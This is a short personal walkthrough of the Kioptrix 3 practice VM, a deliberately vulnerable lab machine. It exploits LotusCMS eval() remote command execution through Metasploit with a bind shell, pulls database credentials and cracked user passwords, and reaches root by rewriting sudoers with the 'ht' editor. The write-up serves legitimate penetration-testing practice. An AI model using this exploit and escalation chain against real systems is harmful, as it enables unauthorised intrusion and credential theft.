kioptrix 3

`arp-scan-l`

`gedit /etc/hosts`

>>192.168.229.139 kioptrix3.com

>>login page
>>lotusCMS

>>browser >> lotusCMS exploitdb

>>**LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)**

`msfconsole -q`

> `use 55`
> set RHOSTS 192.168.229.139
> set URI /
> show payloads
> set payload generic/shell_bind_tcp
> exploit

```
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c "import pty; pty.spawn('/bin/bash')"
www-data@Kioptrix3:/home/www/kioptrix3.com$ ls
ls
cache  data         gallery       index.php  style
core   favicon.ico  gnu-lgpl.txt  modules    update.php
www-data@Kioptrix3:/home/www/kioptrix3.com$
```

`cd home/www/kioptrix3.com/gallery`

`cat gconfig.php`

```
$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";

$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";
```

browser >>kioptrix3.com/phpmyadmin >> login

User	Password Hash	password
dreg	0d3eccfb887aabd50f243b3f155c0f85	Mast3r
loneferret	5badcaf789d3d1d09794d8f021f40f0e	starwars

`ssh -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.229.139`

`ls >>  cat CompanyPolicy.README`

```
loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and
viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO
```

`sudo ht`

`export TERM=xterm`

change the sudoers from !/usr/bin/bash to /bin/bash

`sudo su`

`cd root`

`cat Congrats.txt`

```
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com
```